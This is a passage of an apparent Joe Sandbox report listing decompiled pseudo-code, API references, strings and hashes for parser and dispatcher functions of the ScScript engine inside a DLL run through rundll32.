				_t131 = _a12;
				 *0x1006a2c8(_t82 ^ _t193, _t182, _t189, _t130,  *[fs:0x0], 0x1005dfd8, 0xffffffff);
				if( *((intOrPtr*)( *((intOrPtr*)( *__ecx + 0x10))))() != 0) {
					 *((intOrPtr*)(__ecx + 0x22)) =  *((intOrPtr*)(__ecx + 0x22)) + 1;
					_v20 = __ecx;
					_t88 =  *((intOrPtr*)(__ecx + 0x9c));
					_t183 = 0;
					_v8 = 0;
					if(_t88 != 0) {
						_t183 = _t88 + 4;
					}
					 *0x1006a160();
					_a12 = _t183;
					 *0x1006a3d4();
					_v8 = 1;
					if(( *(_t190 + 0xac) & 0x00000400) == 0 || E10006A30( *((intOrPtr*)(_t190 + 0x9c)),  *((intOrPtr*)(_a4 + 0x6e))) != 0) {
						_t184 = _a8;
						L10008730(_t184,  *(_t190 + 0xac));
						L10009F80(_a4);
						_t94 =  *(_t190 + 0xac);
						_v8 = 4;
						if((_t94 & 0x00000300) != 0) {
							 *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x3c))))( &_v68, _t94 >> 0x00000009 & 1);
						}
						 *0x1006a230();
						_v8 = 5;
						L10004790( *((intOrPtr*)(_t190 + 0x72)),  &_v44);
						_v96 =  *((intOrPtr*)(_t190 + 0xa0));
						_v84 =  &_v44;
						_v92 =  *((intOrPtr*)(_t190 + 0x6a));
						_v88 =  &_v68;
						_v80 = 0x63616c6c;
						_v76 = _t184;
						_v72 = _t131;
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t190 + 0x9c)))) + 0x18))))( &_v96,  *((intOrPtr*)(_t190 + 0xa4)));
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t190 + 0x6a)))) + 0xe0))))(_t131, 1);
						_t185 =  *0x1006a1c8; // 0x870f4
						_v8 = 4;
						 *_t185();
						_v8 = 1;
						 *_t185();
						_v8 = 0;
						_t107 =  *0x1006a3d8();
						_t186 = _t185 | 0xffffffff;
					} else {
						 *0x1006a190();
						_t159 =  *0x1009415c; // 0x0
						_v8 = 2;
						E100049E0(_t159,  &_a8,  &_a8,  *((intOrPtr*)(_t190 + 0x72)));
						_v8 = 3;
						E100074B0( *((intOrPtr*)(_t190 + 0x9c)), 0);
						 *0x1006a234( &_a4, "%ls.%ls()",  *0x1006a210( *0x1006a210()));
						_v8 = 2;
						_t134 =  *0x1006a184; // 0x86e1c
						 *_t134();
						_t186 = _t183 | 0xffffffff;
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t190 + 0x6a)))) + 0x2c))))(0x1a,  &_a4, _t186, 0);
						_v8 = 1;
						 *_t134();
						_v8 = 0;
						_t107 =  *0x1006a3d8();
					}
					_t76 = _t190 + 0x22;
					 *_t76 =  *((intOrPtr*)(_t190 + 0x22)) + _t186;
					_v8 = _t186;
					if( *_t76 == 0) {
						_t107 =  *((intOrPtr*)( *((intOrPtr*)( *_t190 + 0x14))))();
					}
					 *[fs:0x0] = _v16;
					return _t107;
				} else {
					_push(0x2d);
					_t129 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x6a)))) + 0x24))))();
					 *[fs:0x0] = _v16;
					return _t129;
				}
			}

0x10008a37
0x10008a42
0x10008a48
0x10008a4a
0x10008a4f
0x10008a60
0x10008a82
0x10008a85
0x10008a88
0x10008a8e
0x10008a90
0x10008a95
0x10008a97
0x10008a97
0x10008a9d
0x10008aa5
0x10008aa8
0x10008ab8
0x10008abc
0x10008b77
0x10008b7b
0x10008b8a
0x10008b8f
0x10008b95
0x10008b9e
0x10008bb5
0x10008bb5
0x10008bba
0x10008bce
0x10008bd2
0x10008be0
0x10008be6
0x10008bef
0x10008bfb
0x10008bff
0x10008c06
0x10008c09
0x10008c15
0x10008c25
0x10008c27
0x10008c30
0x10008c34
0x10008c39
0x10008c3d
0x10008c42
0x10008c46
0x10008c4c
0x10008adc
0x10008adf
0x10008ae9
0x10008af5
0x10008af8
0x10008aff
0x10008b12
0x10008b29
0x10008b2f
0x10008b32
0x10008b3e
0x10008b4a
0x10008b54
0x10008b59
0x10008b5d
0x10008b62
0x10008b66
0x10008b66
0x10008c4f
0x10008c4f
0x10008c52
0x10008c55
0x10008c5e
0x10008c5e
0x10008c63
0x10008c71
0x10008a62
0x10008a6a
0x10008a6c
0x10008a71
0x10008a7f
0x10008a7f

APIs

lisClass@Dispatcher@ScScript@@QBE_NH@Z.MAIN(?), ref: 10008ACF
lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?), ref: 10008AF8
lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000,00000000), ref: 10008B12

Strings

llac, xrefs: 10008BFF
%ls.%ls(), xrefs: 10008B23

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$Class@Core@@Dispatcher@String@lget$DataPool@Symbol@
String ID: %ls.%ls()$llac
API String ID: 1698599118-3391581551
Opcode ID: 5e398a57c220c20ef2c7088c0fe1ecc5dfb4cff810b8e6ac18a8864fe8e95bd9
Instruction ID: 88250e9a5cf246691437584cb32c87078fffd75a4a22deb92be351d5f111bb87
Opcode Fuzzy Hash: 5e398a57c220c20ef2c7088c0fe1ecc5dfb4cff810b8e6ac18a8864fe8e95bd9
Instruction Fuzzy Hash: 80819C75A00648DFEB04DFA8C880EDEBBF5FF89300F108559E95A97391DB70AA05CB60

Uniqueness

Uniqueness Score: -1.00%

Function 1000BE10 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 183COMMON

Download Yara Rule

APIs

ladd@DataPool@ScScript@@QAEHPBG@Z.MAIN(00000000), ref: 1000BE71
lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?), ref: 1000BEEE

Strings

(arguments), xrefs: 1000BF1C
%ld, xrefs: 1000BE90
%5d %ls, xrefs: 1000BFD8
(workspace), xrefs: 1000BF23

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: DataPool@Script@@$Core@@String@Symbol@ladd@lget
String ID: %5d %ls$%ld$(arguments)$(workspace)
API String ID: 2362473782-1700673233
Opcode ID: a9eba0389167df2151b0e73b9132a51404b2f56de69665df2c5f6bbdabdddfdf
Instruction ID: 9e61b1d59373550c50c39730fbebd786bfc39a491e84656d07832a56b5537cd9
Opcode Fuzzy Hash: a9eba0389167df2151b0e73b9132a51404b2f56de69665df2c5f6bbdabdddfdf
Instruction Fuzzy Hash: 4A71BF7580025ADFEB05EF98CC98AEEB7B5FF59350F104159E916A3290DB70AE44CF60

Uniqueness

Uniqueness Score: -1.00%

Function 1003C9E0 Relevance: 9.3, APIs: 6, Instructions: 267
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E1003C9E0(intOrPtr __ecx) {
				char _v8;
				char _v16;
				signed int _v17;
				intOrPtr* _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _v84;
				char _v88;
				signed int _t64;
				intOrPtr _t68;
				signed int _t71;
				intOrPtr _t73;
				intOrPtr* _t74;
				intOrPtr _t75;
				intOrPtr _t77;
				intOrPtr _t78;
				intOrPtr _t80;
				intOrPtr* _t81;
				intOrPtr _t83;
				intOrPtr _t84;
				intOrPtr _t85;
				intOrPtr _t99;
				intOrPtr _t100;
				void* _t105;
				intOrPtr _t107;
				intOrPtr* _t123;
				signed int _t146;
				void* _t155;
				intOrPtr* _t156;
				intOrPtr* _t157;
				void* _t159;
				void* _t160;
				intOrPtr _t161;
				intOrPtr* _t162;
				signed int _t164;
				void* _t165;
				void* _t167;
				void* _t177;

				_t64 =  *0x10094144; // 0x3a5d9654
				 *[fs:0x0] =  &_v16;
				_t161 = __ecx;
				_t2 = _t161 + 0x8c; // 0x8c
				_t156 = _t2;
				E10043450( &_v88, _t156);
				_v8 = 0;
				_t68 =  *0x1006a1d0(0x28, _t64 ^ _t164, _t155, _t160, _t105,  *[fs:0x0], E10065390, 0xffffffff);
				_t167 = _t165 - 0x48 + 4;
				_v32 = _t68;
				_v8 = 1;
				if(_t68 == 0) {
					_v24 = 0;
				} else {
					_v24 = L10037FD0(_t68, _t156, 0, 0);
				}
				_v8 = 0;
				_v32 = _v24;
				_t71 = E1003A9F0(_t161, 0) & 0xffffff00 |  *_t156 == 0x00000099;
				_v17 = _t71;
				if(_t71 != 0) {
					E1003A9F0(_t161, 0);
				}
				 *((intOrPtr*)( *((intOrPtr*)(_t161 + 0x88)))) = 0x48;
				E1003AC80(_t161, 0x40000028, 0);
				_t73 =  *_t156;
				 *((intOrPtr*)(_t161 + 0xfc)) =  *((intOrPtr*)(_t161 + 0xfc)) + 1;
				if(_t73 != 0x67) {
					if(_t73 == 0x4000003b) {
						_t74 =  *0x1006a1d0(0x20);
						_t167 = _t167 + 4;
						_v28 = _t74;
						_v8 = 2;
						if(_t74 == 0) {
							_t75 = 0;
						} else {
							_t75 = L10037F00(_t74, _t156);
						}
						_v8 = 0;
					} else {
						_t75 = E1003E550(_t161, _t146, _t177, 0, 0);
					}
				} else {
					E1003A9F0(_t161, 0);
					_t75 = L1003C6A0(_t161, 0x67, 1);
				}
				 *((intOrPtr*)(_t161 + 0xfc)) =  *((intOrPtr*)(_t161 + 0xfc)) - 1;
				_t107 = _t75;
				if( *_t156 != 0x4e) {
					if(_v17 != 0) {
						E1003AAC0(_t161, _t146, 8, 0);
					}
					E1003AC80(_t161, 0x4000003b, 0);
					if( *_t156 == 0x4000003b) {
						_t77 =  *0x1006a1d0(0x20);
						_t167 = _t167 + 4;
						_v28 = _t77;
						_v8 = 4;
						if(_t77 == 0) {
							_t78 = 0;
						} else {
							_t78 = L10037F00(_t77, _t156);
						}
						_v8 = 0;
					} else {
						_t78 = E1003E550(_t161, _t146, _t177, 0, 0);
					}
					_v28 = _t78;
					E1003AC80(_t161, 0x4000003b, 0);
					if( *_t156 == 0x40000029) {
						_t80 =  *0x1006a1d0(0x20);
						_t167 = _t167 + 4;
						_v36 = _t80;
						_v8 = 5;
						if(_t80 == 0) {
							_t81 = 0;
						} else {
							_t81 = L10037F00(_t80, _t156);
						}
						_v8 = 0;
					} else {
						_t81 = E1003E550(_t161, _t146, _t177, 0, 0);
					}
					_t157 = _t81;
					E1003AC80(_t161, 0x40000029, 0);
					_t83 = E1003CD00(_t161, _t146, _t177, 0);
					_t162 = _v24;
					 *((intOrPtr*)(_t162 + 0x24)) = _t83;
					if( *((intOrPtr*)(_t107 + 0x1c)) != 0) {
						L38:
						_t84 =  *0x1006a1d0(0x2c);
						_v36 = _t84;
						_v8 = 6;
						if(_t84 == 0) {
							goto L40;
						}
						_t85 = E10038080(_t84,  &_v88, _t107, _v28, _t157);
						goto L41;
					} else {
						_t123 = _v28;
						if( *((intOrPtr*)(_t123 + 0x1c)) != 0 ||  *((intOrPtr*)(_t157 + 0x1c)) != 0) {
							goto L38;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)( *_t123))))(1);
							 *((intOrPtr*)( *((intOrPtr*)( *_t157))))(1);
							if( *((intOrPtr*)( *((intOrPtr*)(_t162 + 0x24)) + 0x1c)) != 0) {
								 *((intOrPtr*)(_t162 + 8)) = 0x6a;
								 *((intOrPtr*)(_t162 + 0x20)) = _t107;
								 *((intOrPtr*)(_t107 + 8)) = 0x64;
								 *((intOrPtr*)(_t107 + 0x1c)) = 1;
							} else {
								 *((intOrPtr*)( *((intOrPtr*)( *_t162))))(1);
								_v32 = _t107;
								 *((intOrPtr*)(_t107 + 8)) = 0;
							}
							goto L42;
						}
					}
				} else {
					E100434A0( &_v88, _t156);
					asm("sbb edx, edx");
					_t154 = ( ~(_v17 & 0x000000ff) & 0x00000081) + 0x18;
					_v88 = ( ~(_v17 & 0x000000ff) & 0x00000081) + 0x18;
					E1003A9F0(_t161, 0);
					if( *((intOrPtr*)(_t107 + 0x1c)) != 2) {
						E1003AAC0(_t161, _t154, 8, 0);
					}
					_t159 = E1003E550(_t161, _t154, _t177, 0, 0);
					E1003AC80(_t161, 0x40000029, 0);
					_t99 = E1003CD00(_t161, _t154, _t177, 0);
					_t162 = _v24;
					 *((intOrPtr*)(_t162 + 0x24)) = _t99;
					_t100 =  *0x1006a1d0(0x28);
					_v28 = _t100;
					_v8 = 3;
					if(_t100 == 0) {
						L40:
						_t85 = 0;
						goto L41;
					} else {
						_t85 = L10037FD0(_t100,  &_v88, _t107, _t159);
						L41:
						 *((intOrPtr*)(_t162 + 0x20)) = _t85;
						L42:
						_v8 = 0xffffffff;
						 *0x1006a1c8();
						 *[fs:0x0] = _v16;
						return _v32;
					}
				}
			}

0x1003c9f7
0x1003ca02
0x1003ca08
0x1003ca0a
0x1003ca0a
0x1003ca14
0x1003ca1d
0x1003ca20
0x1003ca26
0x1003ca29
0x1003ca2c
0x1003ca32
0x1003ca43
0x1003ca34
0x1003ca3e
0x1003ca3e
0x1003ca4c
0x1003ca50
0x1003ca5e
0x1003ca61
0x1003ca66
0x1003ca6b
0x1003ca6b
0x1003ca77
0x1003ca84
0x1003ca89
0x1003ca8b
0x1003ca94
0x1003cab0
0x1003cabf
0x1003cac5
0x1003cac8
0x1003cacb
0x1003cad1
0x1003cadd
0x1003cad3
0x1003cad6
0x1003cad6
0x1003cadf
0x1003cab2
0x1003cab6
0x1003cab6
0x1003ca96
0x1003ca99
0x1003caa4
0x1003caa4
0x1003cae3
0x1003caec
0x1003caee
0x1003cb85
0x1003cb8d
0x1003cb8d
0x1003cb9b
0x1003cba6
0x1003cbb7
0x1003cbbd
0x1003cbc0
0x1003cbc3
0x1003cbc9
0x1003cbd5
0x1003cbcb
0x1003cbce
0x1003cbce
0x1003cbd7
0x1003cba8
0x1003cbae
0x1003cbae
0x1003cbe4
0x1003cbe7
0x1003cbf2
0x1003cc03
0x1003cc09
0x1003cc0c
0x1003cc0f
0x1003cc15
0x1003cc21
0x1003cc17
0x1003cc1a
0x1003cc1a
0x1003cc23
0x1003cbf4
0x1003cbfa
0x1003cbfa
0x1003cc30
0x1003cc32
0x1003cc3b
0x1003cc40
0x1003cc43
0x1003cc4a
0x1003cca6
0x1003cca8
0x1003ccb1
0x1003ccb4
0x1003ccba
0x00000000
0x00000000
0x1003ccc8
0x00000000
0x1003cc4c
0x1003cc4c
0x1003cc53
0x00000000
0x1003cc5b
0x1003cc61
0x1003cc6b
0x1003cc74
0x1003cc8c
0x1003cc93
0x1003cc96
0x1003cc9d
0x1003cc76
0x1003cc7e
0x1003cc80
0x1003cc83
0x1003cc83
0x00000000
0x1003cc74
0x1003cc53
0x1003caf4
0x1003caf8
0x1003cb03
0x1003cb0b
0x1003cb12
0x1003cb15
0x1003cb1e
0x1003cb26
0x1003cb26
0x1003cb3f
0x1003cb41
0x1003cb4a
0x1003cb4f
0x1003cb54
0x1003cb57
0x1003cb60
0x1003cb63
0x1003cb69
0x1003cccf
0x1003cccf
0x00000000
0x1003cb6f
0x1003cb77
0x1003ccd1
0x1003ccd1
0x1003ccd4
0x1003ccd7
0x1003ccde
0x1003ccea
0x1003ccf8
0x1003ccf8
0x1003cb69

APIs

l?0EmptyNode@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,10065390), ref: 1003CAD6
l?0BinaryNode@ScScript@@QAE@ABUScanInfo@1@PAVNode@1@1@Z.MAIN(0000008C,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1003CA39

Part of subcall function 10037FD0: l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(00000000,00000000,?,1003C040,0000008C,00000000,00000000), ref: 10037FDA

l?0BinaryNode@ScScript@@QAE@ABUScanInfo@1@PAVNode@1@1@Z.MAIN(?,00000000,00000000), ref: 1003CB77
l?0EmptyNode@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1003CBCE

Part of subcall function 10037F00: l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(1003D351,-0000008C,?,1003D351,-0000008C), ref: 10037F0A

l?0EmptyNode@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C), ref: 1003CC1A
l?0TernaryNode@ScScript@@QAE@ABUScanInfo@1@PAVNode@1@11@Z.MAIN(?,00000000,10065390,00000000), ref: 1003CCC8

Part of subcall function 10038080: l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(00000000,?,?,1003E845,00000019,?,00000000,00000000,?,?,?,3A5D9654), ref: 1003808A

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Node@ScanScript@@$Info@1@@$EmptyInfo@1@$BinaryNode@1@1@$Node@1@11@Ternary
String ID:
API String ID: 2254264679-0
Opcode ID: 01a41be291ad101118744ef05678091795ece190a5cfecf2455fafab8e4e29df
Instruction ID: 32d810da20d4e518a919d25cdd4592cefc22a8562c8867705442d049fdd2e8b2
Opcode Fuzzy Hash: 01a41be291ad101118744ef05678091795ece190a5cfecf2455fafab8e4e29df
Instruction Fuzzy Hash: B691E2B0A00248AFEB12CBA9C846F5EB7E5EF45706F104429E506EF2C1DBB56E44CB95

Uniqueness

Uniqueness Score: -1.00%

Function 1003B3B0 Relevance: 9.2, APIs: 6, Instructions: 249
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E1003B3B0(intOrPtr __ecx, signed int __edx) {
				char _v8;
				char _v16;
				char _v17;
				signed int _v24;
				char _v28;
				void* _v32;
				intOrPtr _v36;
				signed int _t62;
				signed int _t65;
				intOrPtr _t71;
				signed int _t74;
				intOrPtr _t75;
				intOrPtr _t78;
				intOrPtr _t79;
				intOrPtr _t80;
				void* _t81;
				intOrPtr _t85;
				intOrPtr _t86;
				void* _t100;
				char _t101;
				intOrPtr* _t102;
				intOrPtr _t104;
				signed int _t137;
				void* _t140;
				intOrPtr* _t141;
				intOrPtr _t143;
				void* _t144;
				void* _t145;
				void* _t146;
				intOrPtr _t147;
				signed int _t149;
				void* _t150;
				void* _t152;
				void* _t153;
				void* _t154;
				void* _t155;
				void* _t178;

				_t137 = __edx;
				_t62 =  *0x10094144; // 0x3a5d9654
				 *[fs:0x0] =  &_v16;
				_t147 = __ecx;
				_t141 =  *0x1006a1d0; // 0x87144
				_t65 =  *_t141(0x28, _t62 ^ _t149, _t140, _t146, _t100,  *[fs:0x0], E10065086, 0xffffffff);
				_t152 = _t150 - 0x14 + 4;
				_v32 = _t65;
				_v8 = 0;
				if(_t65 == 0) {
					_v28 = 0;
					_t101 = 0;
				} else {
					_t4 = _t147 + 0x8c; // 0x8c
					_t101 = L10037FD0(_t65, _t4, 0, 0);
					_v28 = _t101;
				}
				_v8 = 0xffffffff;
				E1003A9F0(_t147, 0);
				E1003AC80(_t147, 0x40000028, 0);
				 *((intOrPtr*)(_t101 + 0x20)) = E1003E550(_t147, _t137, _t178, 0, 0);
				E1003AC80(_t147, 0x40000029, 0);
				E1003AC80(_t147, 0x4000007b, 0);
				 *((intOrPtr*)( *((intOrPtr*)(_t147 + 0x88)))) = 0x35;
				_t71 =  *_t141(0x28);
				_t153 = _t152 + 4;
				_v32 = _t71;
				_v8 = 1;
				if(_t71 == 0) {
					_v32 = 0;
				} else {
					_t12 = _t147 + 0x8c; // 0x8c
					_v32 = E10038140(_t12);
				}
				_t139 = _v32;
				 *((intOrPtr*)(_t101 + 0x24)) = _v32;
				_t18 = _t147 + 0x8c; // 0x8c
				_t102 = _t18;
				_v8 = 0xffffffff;
				_v17 = 0;
				if( *((intOrPtr*)(_t147 + 0x8c)) == 0x4000007d) {
					L45:
					E1003A9F0(_t147, 0);
					goto L46;
				} else {
					while( *((char*)(_t147 + 0x104)) != 0) {
						_t74 =  *_t141(0x28);
						_t154 = _t153 + 4;
						_v24 = _t74;
						_v8 = 2;
						if(_t74 == 0) {
							_v24 = 0;
							_t143 = _v24;
						} else {
							_t143 = L10037FD0(_t74, _t102, 0, 0);
							_v24 = _t143;
						}
						_v8 = 0xffffffff;
						 *((intOrPtr*)(_t143 + 8)) = 0x35;
						_t75 =  *0x1006a1d0(0x28);
						_t155 = _t154 + 4;
						_v36 = _t75;
						_v8 = 3;
						if(_t75 == 0) {
							_t104 = 0;
						} else {
							_t104 = E10038140(_t102);
						}
						 *((intOrPtr*)(_t143 + 0x20)) = _t104;
						_v8 = 0xffffffff;
						 *0x1006a22c(_t143);
						if( *((char*)(_t147 + 0x104)) == 0) {
							L29:
							_t78 =  *0x1006a1d0(0x28);
							_t153 = _t155 + 4;
							_v36 = _t78;
							_v8 = 5;
							if(_t78 == 0) {
								_v24 = 0;
							} else {
								_t49 = _t147 + 0x8c; // 0x8c
								_v24 = E10038140(_t49);
							}
							_t53 = _t147 + 0x8c; // 0x8c
							_t102 = _t53;
							 *((intOrPtr*)(_t143 + 0x24)) = _v24;
							_t79 =  *_t102;
							_v8 = 0xffffffff;
							if(_t79 == 0x35) {
								L43:
								if( *_t102 != 0x4000007d) {
									_t141 =  *0x1006a1d0; // 0x87144
									continue;
								}
								break;
							} else {
								while(_t79 != 0x3c) {
									if(_t79 == 0x4000007d) {
										goto L44;
									}
									if( *((char*)(_t147 + 0x104)) == 0) {
										goto L43;
									}
									if(_t79 != 0x4000003b) {
										L38:
										_t80 =  *_t102;
										if(_t80 == 0x35) {
											goto L43;
										}
										if(_t80 != 0x3c && _t80 != 0x4000007d) {
											_t81 = E1003CD00(_t147, _t139, _t178, 0);
											_t139 = _v24;
											 *0x1006a22c(_t81);
										}
										_t79 =  *_t102;
										if(_t79 != 0x35) {
											continue;
										} else {
											goto L43;
										}
									} else {
										goto L37;
									}
									do {
										L37:
										E1003A9F0(_t147, 0);
									} while ( *_t102 == 0x4000003b);
									goto L38;
								}
								goto L43;
							}
						} else {
							do {
								_t85 =  *((intOrPtr*)(_t147 + 0x8c));
								_t37 = _t147 + 0x8c; // 0x8c
								_t144 = _t37;
								if(_t85 != 0x35) {
									if(_t85 != 0x3c) {
										break;
									}
									_t86 =  *0x1006a1d0(0x20);
									_t155 = _t155 + 4;
									_v36 = _t86;
									_v8 = 4;
									if(_t86 == 0) {
										_t145 = 0;
									} else {
										_t145 = E10037280(_t144);
									}
									_v8 = 0xffffffff;
									E1003A9F0(_t147, 0);
									 *0x1006a22c(_t145);
									E1003AC80(_t147, 0x4000003a, 0);
									if(_v17 == 0) {
										_v17 = 1;
									} else {
										E1003AAC0(_t147, _t139, 0x27, 0);
									}
									goto L27;
								}
								E1003A9F0(_t147, 0);
								 *0x1006a22c(E1003E550(_t147, _t139, _t178, 0, 0));
								E1003AC80(_t147, 0x4000003a, 0);
								L27:
							} while ( *((char*)(_t147 + 0x104)) != 0);
							_t143 = _v24;
							goto L29;
						}
					}
					L44:
					if( *_t102 != 0x4000007d) {
						L46:
						 *[fs:0x0] = _v16;
						return _v28;
					}
					goto L45;
				}
			}

0x1003b3b0
0x1003b3c7
0x1003b3d2
0x1003b3d8
0x1003b3da
0x1003b3e2
0x1003b3e4
0x1003b3e7
0x1003b3ec
0x1003b3f1
0x1003b40a
0x1003b40d
0x1003b3f3
0x1003b3f5
0x1003b403
0x1003b405
0x1003b405
0x1003b413
0x1003b41a
0x1003b428
0x1003b441
0x1003b444
0x1003b452
0x1003b45f
0x1003b465
0x1003b467
0x1003b46a
0x1003b46d
0x1003b476
0x1003b48b
0x1003b478
0x1003b478
0x1003b486
0x1003b486
0x1003b492
0x1003b495
0x1003b4a2
0x1003b4a2
0x1003b4a8
0x1003b4af
0x1003b4b3
0x1003b6d8
0x1003b6dc
0x00000000
0x1003b4b9
0x1003b4c6
0x1003b4d5
0x1003b4d7
0x1003b4da
0x1003b4dd
0x1003b4e6
0x1003b4fb
0x1003b502
0x1003b4e8
0x1003b4f4
0x1003b4f6
0x1003b4f6
0x1003b507
0x1003b50e
0x1003b515
0x1003b51b
0x1003b51e
0x1003b521
0x1003b52a
0x1003b538
0x1003b52c
0x1003b534
0x1003b534
0x1003b53d
0x1003b544
0x1003b54b
0x1003b558
0x1003b61a
0x1003b61c
0x1003b622
0x1003b625
0x1003b628
0x1003b631
0x1003b646
0x1003b633
0x1003b633
0x1003b641
0x1003b641
0x1003b650
0x1003b650
0x1003b656
0x1003b659
0x1003b65b
0x1003b665
0x1003b6c4
0x1003b6ca
0x1003b4c0
0x00000000
0x1003b4c0
0x00000000
0x1003b667
0x1003b667
0x1003b671
0x00000000
0x00000000
0x1003b67a
0x00000000
0x00000000
0x1003b681
0x1003b694
0x1003b694
0x1003b699
0x00000000
0x00000000
0x1003b69e
0x1003b6ab
0x1003b6b0
0x1003b6b7
0x1003b6b7
0x1003b6bd
0x1003b6c2
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x1003b683
0x1003b683
0x1003b687
0x1003b68c
0x00000000
0x1003b683
0x00000000
0x1003b667
0x1003b560
0x1003b560
0x1003b560
0x1003b566
0x1003b566
0x1003b56f
0x1003b5a2
0x00000000
0x00000000
0x1003b5a6
0x1003b5ac
0x1003b5af
0x1003b5b2
0x1003b5bb
0x1003b5c9
0x1003b5bd
0x1003b5c5
0x1003b5c5
0x1003b5cf
0x1003b5d6
0x1003b5df
0x1003b5ee
0x1003b5f7
0x1003b606
0x1003b5f9
0x1003b5ff
0x1003b5ff
0x00000000
0x1003b5f7
0x1003b575
0x1003b589
0x1003b598
0x1003b60a
0x1003b60a
0x1003b617
0x00000000
0x1003b617
0x1003b558
0x1003b6d0
0x1003b6d6
0x1003b6e1
0x1003b6e7
0x1003b6f5
0x1003b6f5
0x00000000
0x1003b6d6

APIs

l?0BinaryNode@ScScript@@QAE@ABUScanInfo@1@PAVNode@1@1@Z.MAIN(0000008C,00000000,00000000,?,?,?,1003CEFB,00000000,0000008C), ref: 1003B3FE

Part of subcall function 10037FD0: l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(00000000,00000000,?,1003C040,0000008C,00000000,00000000), ref: 10037FDA

l?0ListNode@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C,?,?,?,?,1003CEFB,00000000), ref: 1003B481
l?0BinaryNode@ScScript@@QAE@ABUScanInfo@1@PAVNode@1@1@Z.MAIN(0000008C,00000000,00000000), ref: 1003B4EF
l?0ListNode@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C), ref: 1003B52F

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Node@ScanScript@@$Info@1@@$BinaryInfo@1@ListNode@1@1@
String ID:
API String ID: 3800440537-0
Opcode ID: 16a49034ab9f48312f3ebcd27ca1faa3b06a19a145786556fbf0524319ff5ef2
Instruction ID: 38aeea7aebdf8c4ca33c3395c2b6e34fd0101db74cd09bf28a6dbf31c65d4365
Opcode Fuzzy Hash: 16a49034ab9f48312f3ebcd27ca1faa3b06a19a145786556fbf0524319ff5ef2
